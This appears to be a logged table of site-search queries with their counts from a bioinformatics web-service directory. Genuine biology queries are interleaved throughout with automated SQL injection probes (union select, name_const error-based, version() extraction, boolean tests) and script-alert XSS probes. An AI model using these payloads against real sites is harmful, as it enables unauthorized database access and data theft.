6,45,81,45),char(45,120,51,57,45,81,45),char(45,120,52,48,45,81,45),char(45,120,52,49,45,81,45),char(45,120,52,50,45,81,45),char(45,120,52,51,45,81,45),char(45,120,52,52,45,81,45),char(45,120,52,53,45,81,45),char(45,120,52,54,45,81,45),char(45,120,52,55,45,81,45),char(45,120,52,56,45,81,45),char(45,120,52,57,45,81,45) -- /* order by "as |
2 |
| getcelllinesbyid |
2 |
| variant1111111111111" union select char(45,120,49,45,81,45),char(45,120,50,45,81,45),char(45,120,51,45,81,45),char(45,120,52,45,81,45),char(45,120,53,45,81,45),char(45,120,54,45,81,45),char(45,120,55,45,81,45),char(45,120,56,45,81,45),char(45,120,57,45,81,45),char(45,120,49,48,45,81,45),char(45,120,49,49,45,81,45),char(45,120,49,50,45,81,45),char(45,120,49,51,45,81,45),char(45,120,49,52,45,81,45),char(45,120,49,53,45,81,45),char(45,120,49,54,45,81,45),char(45,120,49,55,45,81,45),char(45,120,49,56,45,81,45),char(45,120,49,57,45,81,45),char(45,120,50,48,45,81,45),char(45,120,50,49,45,81,45),char(45,120,50,50,45,81,45),char(45,120,50,51,45,81,45),char(45,120,50,52,45,81,45),char(45,120,50,53,45,81,45),char(45,120,50,54,45,81,45),char(45,120,50,55,45,81,45),char(45,120,50,56,45,81,45),char(45,120,50,57,45,81,45),char(45,120,51,48,45,81,45),char(45,120,51,49,45,81,45),char(45,120,51,50,45,81,45),char(45,120,51,51,45,81,45),char(45,120,51,52,45,81,45),char(45,120,51,53,45,81,45),char(45,120,51,54,45,81,45),char(45,120,51,55,45,81,45),char(45,120,51,56,45,81,45),char(45,120,51,57,45,81,45),char(45,120,52,48,45,81,45),char(45,120,52,49,45,81,45),char(45,120,52,50,45,81,45),char(45,120,52,51,45,81,45),char(45,120,52,52,45,81,45),char(45,120,52,53,45,81,45),char(45,120,52,54,45,81,45),char(45,120,52,55,45,81,45),char(45,120,52,56,45,81,45),char(45,120,52,57,45,81,45),char(45,120,53,48,45,81,45) -- /* order by "as |
2 |
| literature |
2 |
| variant or (1,2)=(select*from(select name_const(char(111,108,111,108,111,115,104,101,114),1),name_const(char(111,108,111,108,111,115,104,101,114),1))a) -- and 1=1 |
2 |
| compare+two+protein+or+dna+sequences+for+local+similarity |
2 |
| integration |
2 |
| semantic |
2 |
| information transcription pathways |
2 |
| languages and 1=1 |
2 |
| blat |
2 |
| variant' or (1,2)=(select*from(select name_const(char(111,108,111,108,111,115,104,101,114),1),name_const(char(111,108,111,108,111,115,104,101,114),1))a) -- 'x'='x |
2 |
| blast~ |
2 |
| smart |
2 |
| gene predict'a=0 |
2 |
| bio2rdf |
2 |
| similarities proteins motifs |
2 |
| protein_transmembrane_prediction |
2 |
| protein sequence |
2 |
| http://rest.kegg.jp/get/ |
2 |
| p |
2 |
| protein+sequencing+analysis"+and+"x"="x |
2 |
| mirna |
2 |
| structure protein complexes structures individual components approximate binding orientation |
2 |
| computational research |
2 |
| genoues |
2 |
| hla |
2 |
| microarray promoter data transcriptional network |
2 |
| bioinformatic |
2 |
| malat1 |
2 |
| ebi'a=0 |
2 |
| fasta~ |
2 |
| node/add/article |
2 |
| multalin |
2 |
| biology' or (1,2)=(select*from(select name_const(char(111,108,111,108,111,115,104,101,114),1),name_const(char(111,108,111,108,111,1 and 1=1 |
2 |
| id map |
2 |
| motif |
2 |
| select single nucleotide polymorphisms potential effect |
2 |
| predict associations genes microarray |
2 |
| phylogenetic databases implemented trees |
2 |
| predict a secondary structural a protein sequence |
2 |
| flatten_pathway_files |
2 |
| data |
2 |
| ncbiblast |
2 |
| logol |
2 |
| domain |
2 |
| transport |
2 |
| microarray analysis |
2 |
| bio |
2 |
| hsa-mir-206 |
2 |
| information polymorphisms phenotypes |
2 |
| arrayexpress |
2 |
| http://phoebus.cs.man.ac.uk:1977/axis/services/qtl_analysis.getcurrentdatabase |
2 |
| ma |
2 |
| normal mode |
2 |
| enzyme |
2 |
| database search'" |
2 |
| http://phoebus.cs.man.ac.uk:1977/axis/services/seq_analysis.parse_ddbj_gene_info |
2 |
| exon |
2 |
| worms |
2 |
| o2i |
2 |
| wu blast |
2 |
| sequence file formats |
2 |
| protein domain |
2 |
| error |
2 |
| wormbase |
2 |
| data~ and 1>1 |
2 |
| soap |
2 |
| cabri |
2 |
| insulin |
2 |
| es |
2 |
| lift |
2 |
| iprscan5 |
2 |
| compounds and 1=1 |
2 |
| structure retrieve and 1=1 |
2 |
| http://rest.kegg.jp/conv/ |
2 |
| multiple |
2 |
| ackn~ and 1=1 |
2 |
| micro array |
2 |
| eutil |
2 |
| "http://phoebus.cs.man.ac.uk:8081/axis/ensembllistner.jws?wsdl" |
2 |
| upload' or (1,2)=(select*from(select name_const(char(111,108,111,108,111,115,104,101,114),1),name_const(char(111,108,111,108,111,115,104,101,114),1))a)'" |
2 |
| hiv |
2 |
| json |
2 |
| get id'a=0 |
2 |
| hmm |
2 |
| ade |
2 |
| pathways |
2 |
| blast database |
2 |
| blast param or (1,2)=(select*from(select name_const(char(111,108,111,108,111,115,104,101,114),1),name_const(char(111,108,111,108,111,115,104,101,114),1))a) -- and 1=1 |
2 |
| upload' or (1,2)=(select*from(select name_const(char(111,108,111,108,111,115,104,101,114),1),name_const(char(111,108,111,108,111,115,104,101,114),1))a) |
2 |
| brat |
2 |
| translator |
2 |
| secondary prediction |
2 |
| ebeye |
2 |
| provide genes gene classes |
2 |
| fconsense |
2 |
| blastp |
2 |
| compare query sequence dna sequences plant genomes |
2 |
| blast param99999" union select unhex(hex(version())) -- "x"="x |
2 |
| gene ontology |
2 |
| nuclear protein database |
2 |
| blast param99999' union select unhex(hex(version())) -- 'x'='x |
2 |
| neighbor joining |
2 |
| protein structural coordinates protein |
2 |
| blast param999999.1 union select unhex(hex(version())) -- and 1=1 |
2 |
| blast param" and "x"="y |
2 |
| nactem |
2 |
| blast param" and "x"="x |
2 |
| blast param' and 'x'='y |
2 |
| blast param' and 'x'='x |
2 |
| data retrieval |
2 |
| evaluate multiple sequence alignments dna rna |
2 |
| phylogenetic relationships molecular sequences |
2 |
| blast param and 1>1 |
2 |
| qtl |
2 |
| psicquic and 1=1 |
2 |
| blast param2121121121212.1 |
2 |
| blast param |
2 |
| blast param'" |
2 |
| user/user/register |
2 |
| xml |
2 |
| protein structural domains coordinates protein |
2 |
| blast -ebi |
2 |
| drosophila |
2 |
| user/register |
2 |
| andrew |
2 |
| rna seq |
2 |
| tropgene |
2 |
| "http://www.ebi.ac.uk/tools/services/soap/iprscan?wsdl" |
2 |
| wsdbfetchserverlegacyservice |
2 |
| yta~ or (1,2)=(select*from(select name_const(char(111,108,111,108,111,115,104,101,114),1),name_const(char(111,108," or (1,2)=(select*from(select name_const(char(111,108,111,108,111,115,104,101,114),1),name_const(char(111,108,111,108,111,115,104,101,114),1))a) -- "x"="x |
2 |
| yta~ or (1,2)=(select*from(select name_const(char(111,108,111,108,111,115,104,101,114),1),name_const(char(111,108,' or (1,2)=(select*from(select name_const(char(111,108,111,108,111,115,104,101,114),1),name_const(char(111,108,111,108,111,115,104,101,114),1))a) -- 'x'='x |
2 |
| cdk2 |
2 |
| biocyc |
2 |
| data~999999.1 union select unhex(hex(version())) -- and 1=1 |
2 |
| yta~ or (1,2)=(select*from(select name_const(char(111,108,111,108,111,115,104,101,114),1),name_const(char(111,108, or (1,2)=(select*from(select name_const(char(111,108,111,108,111,115,104,101,114),1),name_const(char(111,108,111,108,111,115,104,101,114),1))a) -- and 1=1 |
2 |
| tool protein'a=0 |
2 |
| amino acid functional domain assignments classification gene products kinase |
2 |
| "http://www.ebi.ac.uk/tools/webservices/wsdl/wsinterproscan.wsdl" |
2 |
| blastatlas |
2 |
| drugbank |
2 |
| taxonomic name |
2 |
| yta~ or (1,2)=(select*from(select name_const(char(111,108,111,108,111,115,104,101,114),1),name_const(char(111,108,99999" union select unhex(hex(version())) -- "x"="x |
2 |
| domain kinase |
2 |
| out and 1=1 |
2 |
| http://bestflashonline.blogspot.com |
2 |
| biocreative v |
2 |
| yta~ or (1,2)=(select*from(select name_const(char(111,108,111,108,111,115,104,101,114),1),name_const(char(111,108,99999' union select unhex(hex(version())) -- 'x'='x |
2 |
| sbo |
2 |
| prophet |
2 |
| prophecy |
2 |
| biological molecules |
2 |
| sequence similarity |
2 |
| yta~ or (1,2)=(select*from(select name_const(char(111,108,111,108,111,115,104,101,114),1),name_const(char(111,108,999999.1 union select unhex(hex(version())) -- and 1=1 |
2 |
| http://rest.kegg.jp/find/genes/ |
2 |
| yta~ or (1,2)=(select*from(select name_const(char(111,108,111,108,111,115,104,101,114),1),name_const(char(111,108," and "x"="y |
2 |
| yta~ or (1,2)=(select*from(select name_const(char(111,108,111,108,111,115,104,101,114),1),name_const(char(111,108," and "x"="x |
2 |
| -4420 union all select 57,57-- hved2121121121212.1 |
2 |
| -4420 union all select 57,57-- hved and 1=1 |
2 |
| -4420 union all select 57,57-- hved and 1>1 |
2 |
| -4420 union all select 57,57-- hved' and 'x'='x |
2 |
| -4420 union all select 57,57-- hved' and 'x'='y |
2 |
| -4420 union all select 57,57-- hved" and "x"="x |
2 |
| yta~ or (1,2)=(select*from(select name_const(char(111,108,111,108,111,115,104,101,114),1),name_const(char(111,108,' and 'x'='y |
2 |
| yta~ or (1,2)=(select*from(select name_const(char(111,108,111,108,111,115,104,101,114),1),name_const(char(111,108,' and 'x'='x |
2 |
| prediction of ctl epitopes in protein sequence |
2 |
| yta~ or (1,2)=(select*from(select name_const(char(111,108,111,108,111,115,104,101,114),1),name_const(char(111,108, and 1>1 |
2 |
| http://www.ebi.ac.uk/soaplab/emboss4/services/edit.seqret |
2 |
| phobius |
2 |
| information metabolic regulatory pathways |
2 |
| ncbo |
2 |
| yta~ or (1,2)=(select*from(select name_const(char(111,108,111,108,111,115,104,101,114),1),name_const(char(111,108,2121121121212.1 |
2 |
| structural segments motifs protein structures |
2 |
| "http://www.ebi.ac.uk/soaplab/typed/services/phylogeny_molecular_sequence.fprotdist?wsdl" |
2 |
| cancer |
2 |
| genetic variant analysis |
2 |
| yta~ or (1,2)=(select*from(select name_const(char(111,108,111,108,111,115,104,101,114),1),name_const(char(111,108,'" |
2 |
| protein-protein interactions |
2 |
| pscan |
2 |
| p53 |
2 |
| forward |
2 |
| pathway_descriptions |
2 |
| differentiation |
2 |
| sentence |
2 |
| biovel |
2 |
| single nucleotide polymorphisms |
2 |
| file' or (1,2)=(select*from(select name_const(char(111,108,111,108,111,115,104,101,114),1),name_const(char(111,108,111,108,111,115,104,101,114),1))a) -- 'x'='x'a=0 |
2 |
| getp53mutationidsbysamplename |
2 |
| enzymes |
2 |
| fseqboot |
2 |
| reprogramming |
2 |
| generate sequence'a=0 |
2 |
| sib |
2 |
| esearch |
2 |
| information nuclear localization signals nuclear proteins |
2 |
| motifs protein structures |
2 |
| secondary structure prediction |
2 |
| wps |
2 |
| jdispatcherservice |
2 |
| shogoin |
2 |
| transcription factors |
2 |
| hamish |
2 |
| chemicalize |
2 |
| hello |
2 |
| chemicalize'a=0 |
2 |
| occurances'a=0 |
2 |
| phoebus.cs.man.ac.uk'a=0 |
2 |
| data describing membrane organization localization human proteins |
2 |
| mass |
2 |
| rest_service |
2 |
| transcription factor |
2 |
| domaination |
2 |
| 95 265 95.1 349 98 162 99 141 99.9 857 100.9 168 101 352 103 130 103.1 111 104 115 105 327 105 190 105.9 742 106.1 150 107 334 107.1 226 109.1 322 110.1 235 111 190 113 571 |
2 |
| metabolic pathways |
2 |
| peptide |
2 |
| netchop - prediction of proteasomal cleavages |
2 |
| http://moby.ucalgary.ca/moby/moby-central.pl |
2 |
| http://array.nci.nih.gov/wsrf/services/cagrid/caarraysvc?wsdl |
2 |
| http://phoebus.cs.man.ac.uk:1977/axis/services/text_mining.clean_text |
2 |
| cdk |
2 |
| tree |
2 |
| similar proteins query a protein database |
2 |
| primer |
2 |
| protein active site residues.'a=0 |
2 |
| gbio |
2 |
| genomics' |
1 |
| uniprot id" or (1,2)=(select*from(select name_const(char(111,108,111,108,111,115,104,101,114),1),name_const(char(111,108,111,108,111,115,104,101,114),1))a) -- "x"="x' |
1 |
| netphosk |
1 |
| genomic dna' |
1 |
| -5123 union all select 'qjzbq'||'wleqckfgti'||'qzxqq'-- ldks |
1 |
| webprocessingservice |
1 |
| members |
1 |
| wsx |
1 |
| med19 |
1 |
| probiotic and food |
1 |
| probiotic* |
1 |
| probiotic |
1 |
| param1111111111111' union select char(45,120,49,45,81,45),char(45,120,50,45,81,45),char(45,120,51,45,81,45),char(45,120,52,45,81,45),char(45,120,53,45,81,45),char(45,120,54,45,81,45),char(45,120,55,45,81,45),char(45,120,56,45,81,45),char(45,120,57,45,81,45),char(45,120,49,48,45,81,45),char(45,120,49,49,45,81,45),char(45,120,49,50,45,81,45),char(45,120,49,51,45,81,45),char(45,120,49,52,45,81,45),char(45,120,49,53,45,81,45),char(45,120,49,54,45,81,45),char(45,120,49,55,45,81,45),char(45,120,49,56,45,81,45),char(45,120,49,57,45,81,45),char(45,120,50,48,45,81,45),char(45,120,50,49,45,81,45),char(45,120,50,50,45,81,45),char(45,120,50,51,45,81,45),char(45,120,50,52,45,81,45),char(45,120,50,53,45,81,45),char(45,120,50,54,45,81,45),char(45,120,50,55,45,81,45),char(45,120,50,56,45,81,45),char(45,120,50,57,45,81,45),char(45,120,51,48,45,81,45),char(45,120,51,49,45,81,45)-- |
1 |
| web'' |
1 |
| neurosciences'a=0 |
1 |
| out' or (1,2)=(select*from(select name_const(char(111,108,111,108,111,115,104,101,114),1),name_const(char(111,108,111,108,111,115,104,101,114),1))a) -- 'x'='x |
1 |
| out or (1,2)=(select*from(select name_const(char(111,108,111,108,111,115,104,101,114),1),name_const(char(111,108,111,108,111,115,104,101,114),1))a) -- and 1=1 |
1 |
| out99999" union select unhex(hex(version())) -- "x"="x |
1 |
| out99999' union select unhex(hex(version())) -- 'x'='x |
1 |
| out999999.1 union select unhex(hex(version())) -- and 1=1 |
1 |
| out" and "x"="y |
1 |
| out" and "x"="x |
1 |
| out' and 'x'='y |
1 |
| biocreative v track 3 |
1 |
| out' and 'x'='x |
1 |
| track 3 |
1 |
| out and 1>1 |
1 |
| out2121121121212.1 |
1 |
| out'" |
1 |
| yt~'a=0 |
1 |
| at2g38230 |
1 |
| psicquic' or (1,2)=(select*from(select name_const(char(111,108,111,108,111,115,104,101,114),1),name_const(char(111,108,111,108,111,115,104,101,114),1))a) -- 'x'='x |
1 |
| psicquic or (1,2)=(select*from(select name_const(char(111,108,111,108,111,115,104,101,114),1),name_const(char(111,108,111,108,111,115,104,101,114),1))a) -- and 1=1 |
1 |
| psicquic99999" union select unhex(hex(version())) -- "x"="x |
1 |
| psicquic99999' union select unhex(hex(version())) -- 'x'='x |
1 |
| information analyze repeats genomic dna |
1 |
| psicquic999999.1 union select unhex(hex(version())) -- and 1=1 |
1 |
| psicquic" and "x"="y |
1 |
| psicquic" and "x"="x |
1 |
| psicquic' and 'x'='y |
1 |
| psicquic' and 'x'='x |
1 |
| psicquic and 1>1 |
1 |
| psicquic2121121121212.1 |
1 |
| psicquic'" |
1 |
| fastm |
1 |
| d'a=0 |
1 |
| d |
1 |
| array e'a=0 |
1 |
| array e |
1 |
| textmining |
1 |
| integ" or (1,2)=(select*from(select name_const(char(111,108,111,108,111,115,104,101,114),1),name_const(char(111,108,111,108,111,115,104,101,114),1))a) -- "x"="x' |
1 |
| data~99999" union select unhex(hex(version())) -- "x"="x |
1 |
| structure retrieve' or (1,2)=(select*from(select name_const(char(111,108,111,108,111,115,104,101,114),1),name_const(char(111,108,111,108,111,115,104,101,114),1))a) -- 'x'='x |
1 |
| structure retrieve or (1,2)=(select*from(select name_const(char(111,108,111,108,111,115,104,101,114),1),name_const(char(111,108,111,108,111,115,104,101,114),1))a) -- and 1=1 |
1 |
| structure retrieve99999" union select unhex(hex(version())) -- "x"="x |
1 |
| structure retrieve99999' union select unhex(hex(version())) -- 'x'='x |
1 |
| structure retrieve999999.1 union select unhex(hex(version())) -- and 1=1 |
1 |
| structure retrieve" and "x"="y |
1 |
| structure retrieve" and "x"="x |
1 |
| structure retrieve' and 'x'='y |
1 |
| structure retrieve' and 'x'='x |
1 |
| structure retrieve and 1>1 |
1 |
| structure retrieve2121121121212.1 |
1 |
| structure retrieve'" |
1 |
| yta~ or |
1 |
| 520999 |
1 |
| hsa-mir-144-5p |
1 |
| wadl |
1 |
| how to a service in taverna |
1 |
| '><script>alert(1)</script> |
1 |
| "><script>alert(1)</script> |
1 |
| <script>alert(1)</script> |
1 |
| blastn suite-2sequences |
1 |
| </script>"><script>prompt(1)</script> |
1 |
| gbif |
1 |
| occurence gbif |
1 |
| biology' or (1,2)=(select*from(select name_const(char(111,108,111,108,111,115,104,101,114),1),name_const(char(111,108,111,108,111,1" or (1,2)=(select*from(select name_const(char(111,108,111,108,111,115,104,101,114),1),name_const(char(111,108,111,108,111,115,104,101,114),1))a) -- "x"="x |
1 |
| biology' or (1,2)=(select*from(select name_const(char(111,108,111,108,111,115,104,101,114),1),name_const(char(111,108,111,108,111,1' or (1,2)=(select*from(select name_const(char(111,108,111,108,111,115,104,101,114),1),name_const(char(111,108,111,108,111,115,104,101,114),1))a) -- 'x'='x |
1 |
| biology' or (1,2)=(select*from(select name_const(char(111,108,111,108,111,115,104,101,114),1),name_const(char(111,108,111,108,111,1 or (1,2)=(select*from(select name_const(char(111,108,111,108,111,115,104,101,114),1),name_const(char(111,108,111,108,111,115,104,101,114),1))a) -- and 1=1 |
1 |
| biology' or (1,2)=(select*from(select name_const(char(111,108,111,108,111,115,104,101,114),1),name_const(char(111,108,111,108,111,199999" union select unhex(hex(version())) -- "x"="x |
1 |
| biology' or (1,2)=(select*from(select name_const(char(111,108,111,108,111,115,104,101,114),1),name_const(char(111,108,111,108,111,199999' union select unhex(hex(version())) -- 'x'='x |
1 |
| biology' or (1,2)=(select*from(select name_const(char(111,108,111,108,111,115,104,101,114),1),name_const(char(111,108,111,108,111,1999999.1 union select unhex(hex(version())) -- and 1=1 |
1 |
| biology' or (1,2)=(select*from(select name_const(char(111,108,111,108,111,115,104,101,114),1),name_const(char(111,108,111,108,111,1" and "x"="y |
1 |
| biology' or (1,2)=(select*from(select name_const(char(111,108,111,108,111,115,104,101,114),1),name_const(char(111,108,111,108,111,1" and "x"="x |
1 |
| biology' or (1,2)=(select*from(select name_const(char(111,108,111,108,111,115,104,101,114),1),name_const(char(111,108,111,108,111,1' and 'x'='y |
1 |
| biology' or (1,2)=(select*from(select name_const(char(111,108,111,108,111,115,104,101,114),1),name_const(char(111,108,111,108,111,1' and 'x'='x |
1 |
| biology' or (1,2)=(select*from(select name_const(char(111,108,111,108,111,115,104,101,114),1),name_const(char(111,108,111,108,111,1 and 1>1 |
1 |
| biology' or (1,2)=(select*from(select name_const(char(111,108,111,108,111,115,104,101,114),1),name_const(char(111,108,111,108,111,12121121121212.1 |
1 |
| security |
1 |
| gb info/pathway |
1 |
| biology' or (1,2)=(select*from(select name_const(char(111,108,111,108,111,115,104,101,114),1),name_const(char(111,108,111,108,111,1'" |
1 |
| string (content)'a=0 |
1 |
| html''+or+(1,2)=(select*from(select+name_const(char(111,108,111,108,111,115,104,101,114),1),name_const(char(111,108,111,108,111,115,104,101,114),1))a)+--+'x'='x |
1 |
| netherland'a=0 |
1 |
| year'a=0 |
1 |
| fbacall |
1 |
| pdb and view'a=0 |
1 |
| database'"'a=0 |
1 |
| sequence+similarity+searching+against+complete+proteome+or+genome+databases+using+the+fasta+programs.2121121121212.1 |
1 |
| get web page'a=0 |
1 |
| signalization'a=0 |
1 |
| structure key'a=0 |
1 |
| gene organism |
1 |
| signal peptides |
1 |
| sequence modelling'a=0 |
1 |
| fetch)'a=0 |
1 |
| mir-138 |
1 |
| ddbj id bkoo6934 |
1 |
| hsa-mir-103a-3p |
1 |
| gene'a=0 |
1 |
| psi-blast'a=0 |
1 |
| psi-blast |
1 |
| mmu-mir-3473b |
1 |
| pbi |
1 |
| terms'"'a=0 |
1 |
| predict protein protein interaction sites.'"" or (1,2)=(select*from(select name_const(char(111,108,111,108,111,115,104,101,114),1),name_const(char(111,108,111,108,111,115,104,101,114),1))a) -- "x"="x |
1 |
| predict protein protein interaction sites.'"' or (1,2)=(select*from(select name_const(char(111,108,111,108,111,115,104,101,114),1),name_const(char(111,108,111,108,111,115,104,101,114),1))a) -- 'x'='x |
1 |
| predict protein protein interaction sites.'" or (1,2)=(select*from(select name_const(char(111,108,111,108,111,115,104,101,114),1),name_const(char(111,108,111,108,111,115,104,101,114),1))a) -- and 1=1 |
1 |
| predict protein protein interaction sites.'"99999" union select unhex(hex(version())) -- "x"="x |
1 |
| predict protein protein interaction sites.'"99999' union select unhex(hex(version())) -- 'x'='x |
1 |
| predict protein protein interaction sites.'"999999.1 union select unhex(hex(version())) -- and 1=1 |
1 |
| predict protein protein interaction sites.'"" and "x"="y |
1 |
| predict protein protein interaction sites.'"" and "x"="x |
1 |
| predict protein protein interaction sites.'"' and 'x'='y |
1 |
| predict protein protein interaction sites.'"' and 'x'='x |
1 |
| predict protein protein interaction sites.'" and 1>1 |
1 |
| predict protein protein interaction sites.'"2121121121212.1 |
1 |
| predict protein protein interaction sites.'"'" |
1 |
| phylogenetic |
1 |
| data service'a=0 |
1 |
| get genbank id or (1,2)=(select*from(select name_const(char(111,108,111,108,111,115,104,101,114),1),name_const(char(111,108,111,108,111,115,104,101,114),1))a) -- and 1=1 |
1 |
| format blast'a=0 |
1 |
| "alignment"'a=0 |
1 |
| no~//guestbook |
1 |
| protein~ |
1 |
| mir-375 |
1 |
| interaction verb |
1 |
| verb |
1 |
| 114421 |
1 |
| alignment or sequence |
1 |
| beep |
1 |
| (select (case when (3710=7967) then 3710 else 3710*(select 3710 from information_schema.character_sets) end))' or (1,2)=(select*from(select name_const(char(111,108,111,108,111,115,104,101,114),1),name_const(char(111,108,111,108,111,115,104,101,114),1))a) -- 'x'='x |
1 |
| (select (case when (3710=7967) then 3710 else 3710*(select 3710 from information_schema.character_sets) end)) or (1,2)=(select*from(select name_const(char(111,108,111,108,111,115,104,101,114),1),name_const(char(111,108,111,108,111,115,104,101,114),1))a) -- and 1=1 |
1 |
| (select (case when (3710=7967) then 3710 else 3710*(select 3710 from information_schema.character_sets) end))99999" union select unhex(hex(version())) -- "x"="x |
1 |
| (select (case when (3710=7967) then 3710 else 3710*(select 3710 from information_schema.character_sets) end))99999' union select unhex(hex(version())) -- 'x'='x |
1 |
| (select (case when (3710=7967) then 3710 else 3710*(select 3710 from information_schema.character_sets) end))999999.1 union select unhex(hex(version())) -- and 1=1 |
1 |
| (select (case when (3710=7967) then 3710 else 3710*(select 3710 from information_schema.character_sets) end))" and "x"="y |
1 |
| (select (case when (3710=7967) then 3710 else 3710*(select 3710 from information_schema.character_sets) end))" and "x"="x |
1 |
| (select (case when (3710=7967) then 3710 else 3710*(select 3710 from information_schema.character_sets) end))' and 'x'='y |
1 |
| (select (case when (3710=7967) then 3710 else 3710*(select 3710 from information_schema.character_sets) end))' and 'x'='x |
1 |
| dna+local+alignment+of+genomic+sequences+in+fasta+or+plain+format. |
1 |
| (select (case when (3710=7967) then 3710 else 3710*(select 3710 from information_schema.character_sets) end)) and 1>1 |
1 |
| (select (case when (3710=7967) then 3710 else 3710*(select 3710 from information_schema.character_sets) end))2121121121212.1 |
1 |
| (select (case when (3710=7967) then 3710 else 3710*(select 3710 from information_schema.character_sets) end))'" |
1 |
| heart attack |
1 |
| claudio capurro |
1 |
| capurro |
1 |
| 1"'`-- |
1 |
| 100 multiz alignment |
1 |
| multiple alignment 100 multiz |
1 |
| multiple alignment |
1 |
| maf |
1 |
| jpred |
1 |
| yt~ or (1,2)=(select*from(select name_const(char(111,108,111,108,111,115,104,101,114),1),name_const(char(111,108,111,108,111,115,104,101,114),1))a) -- and 1=1 |
1 |
| yt~99999" union select unhex(hex(version())) -- "x"="x |
1 |
| yt~99999' union select unhex(hex(version())) -- 'x'='x |
1 |
| yt~999999.1 union select unhex(hex(version())) -- and 1=1 |
1 |
| yt~" and "x"="y |
1 |
| yt~" and "x"="x |
1 |
| yt~' and 'x'='y |
1 |
| yt~' and 'x'='x |
1 |
| yt~ and 1>1 |
1 |
| smiles'a=0 |
1 |
| program'a=0 |
1 |
| jay kola |
1 |
| genome structure correction |
1 |
| repeat99999'+union+select+unhex(hex(version()))+--+'x'='x |
1 |
| protein+sequencing+analysis2121121121212.1 |
1 |
| blast +ebi |
1 |
| country'[0] |
1 |
| camaron |
1 |
| http://www.webservicex.net/geoipservice.asmx |
1 |
| protein name'"'a=0 |
1 |
| users' or (1,2)=(selectfrom(select name_const(char(111,108,111,108,111,115,104,101,114),1),name_const(char(111,108,111,108,111,115,104,101,114),1))a) -- 'x'='x'a=0 |
1 |
| goriv |
1 |
| open read frame%' and (select 6011 from(select count(*),concat(0x7171627871,(select (elt(6011=6011,1))),0x7170707a71,floor(rand(0)*2))x from information_schema.plugins group by x)a) and '%'=' |
1 |
| plotfeatureaasequence |
1 |
| fundamentals of forensic chemistry |
1 |
| ncbi entrez |
1 |
| mir-15b-5p |
1 |
| get genbank id |
1 |
| proteic |
1 |
| integ'"" or (1,2)=(select*from(select name_const(char(111,108,111,108,111,115,104,101,114),1),name_const(char(111,108,111,108,111,115,104,101,114),1))a) -- "x"="x |
1 |
| integ'"' or (1,2)=(select*from(select name_const(char(111,108,111,108,111,115,104,101,114),1),name_const(char(111,108,111,108,111,115,104,101,114),1))a) -- 'x'='x |
1 |
| integ'" or (1,2)=(select*from(select name_const(char(111,108,111,108,111,115,104,101,114),1),name_const(char(111,108,111,108,111,115,104,101,114),1))a) -- and 1=1 |
1 |
| integ'"99999" union select unhex(hex(version())) -- "x"="x |
1 |
| integ'"99999' union select unhex(hex(version())) -- 'x'='x |
1 |
| integ'"999999.1 union select unhex(hex(version())) -- and 1=1 |
1 |
| integ'"" and "x"="y |
1 |
| integ'"" and "x"="x |
1 |
| information+metabolic+networks |
1 |
| integ'"' and 'x'='y |
1 |
| integ'"' and 'x'='x |
1 |
| integ'" and 1>1 |
1 |
| integ'"2121121121212.1 |
1 |
| integ'"'" |
1 |
| next-generation |
1 |
| marine |
1 |
| structure prediction |
1 |
| ctd |
1 |
| chemical |
1 |
| spectroscopy' or (1,2)=(select*from(select name_const(char(111,108,111,108,111,115,104,101,114),1),name_const(char(111,108,111,108,111,115,104,101,114),1))a) -- 'x'='x |
1 |
| spectroscopy" |
1 |
| spectroscopy' |
1 |
| yta~ |
1 |
| spectroscopy or (1,2)=(select*from(select name_const(char(111,108,111,108,111,115,104,101,114),1),name_const(char(111,108,111,108,111,115,104,101,114),1))a) -- and 1=1 |
1 |
| spectroscopy99999" union select unhex(hex(version())) -- "x"="x |
1 |
| spectroscopy99999' union select unhex(hex(version())) -- 'x'='x |
1 |
| information+metabolic+pathways |
1 |
| hit99999"+union+select+unhex(hex(version()))+--+"x"="x |
1 |
| spectroscopy999999.1 union select unhex(hex(version())) -- and 1=1 |
1 |
| weight+matrix |
1 |
| yt~'+or+(1,2)=(select*from(select+name_const(char(111,108,111,108,111,115,104,101,114),1),name_const(char(111,108,111,108,111,115,104,101,114),1))a)+--+'x'='x |
1 |
| security token |
1 |
| spectroscopy" and "x"="y |
1 |
| spectroscopy" and "x"="x |
1 |
| spectroscopy' and 'x'='y |
1 |
| spectroscopy' and 'x'='x |
1 |
| spectroscopy and 1>1 |
1 |
| spectroscopy2121121121212.1 |
1 |
| spectroscopy'" |
1 |
| find protein |
1 |
| molecular weights |
1 |
| cut name |
1 |
| l238f |
1 |
| shayan |
1 |
| no' or (1,2)=(select*from(select name_const(char(111,108,111,108,111,115,104,101,114),1),name_const(char(111,108,111" or (1,2)=(select*from(select name_const(char(111,108,111,108,111,115,104,101,114),1),name_const(char(111,108,111,108,111,115,104,101,114),1))a) -- "x"="x |
1 |
| no' or (1,2)=(select*from(select name_const(char(111,108,111,108,111,115,104,101,114),1),name_const(char(111,108,111' or (1,2)=(select*from(select name_const(char(111,108,111,108,111,115,104,101,114),1),name_const(char(111,108,111,108,111,115,104,101,114),1))a) -- 'x'='x |
1 |
| repeat"+and+"x"="y |
1 |
| users'+or+(1,2)=(selectfrom(select+name_const(char(111,108,111,108,111,115,104,101,114),1),name_const(char(111,108,111,108,111,115,104,101,114),1))a)+--+'x'='x |
1 |
| no' or (1,2)=(select*from(select name_const(char(111,108,111,108,111,115,104,101,114),1),name_const(char(111,108,111 or (1,2)=(select*from(select name_const(char(111,108,111,108,111,115,104,101,114),1),name_const(char(111,108,111,108,111,115,104,101,114),1))a) -- and 1=1 |
1 |
| no' or (1,2)=(select*from(select name_const(char(111,108,111,108,111,115,104,101,114),1),name_const(char(111,108,11199999" union select unhex(hex(version())) -- "x"="x |
1 |
| no' or (1,2)=(select*from(select name_const(char(111,108,111,108,111,115,104,101,114),1),name_const(char(111,108,11199999' union select unhex(hex(version())) -- 'x'='x |
1 |
| transcriptome |
1 |
| bacteria genome |
1 |
| plugin |
1 |
| spectrometry |
1 |
| http://www.mtoz-biolabs.com/protein-identification.html |
1 |
| prodoric |
1 |
| bielefeld university |
1 |
| stat1 |
1 |
| generate+a+three+dimensional+representation+for+a+given+rna+or+dna+sequence+alignment. |
1 |
| mhc prediction |
1 |
| gene3d |
1 |
| 1'+and+'x'='x |
1 |
| col |
1 |
| hit'+and+'x'='x |
1 |
| protein+sequencing+analysis |
1 |
| get+id'"+and+"x"="x |
1 |
| protein+sequencing+analysis'+and+'x'='x |
1 |
| taxonomy' |
1 |
| cactus.nci.nih.gov/services/translate |
1 |
| statistical'a=0 |
1 |
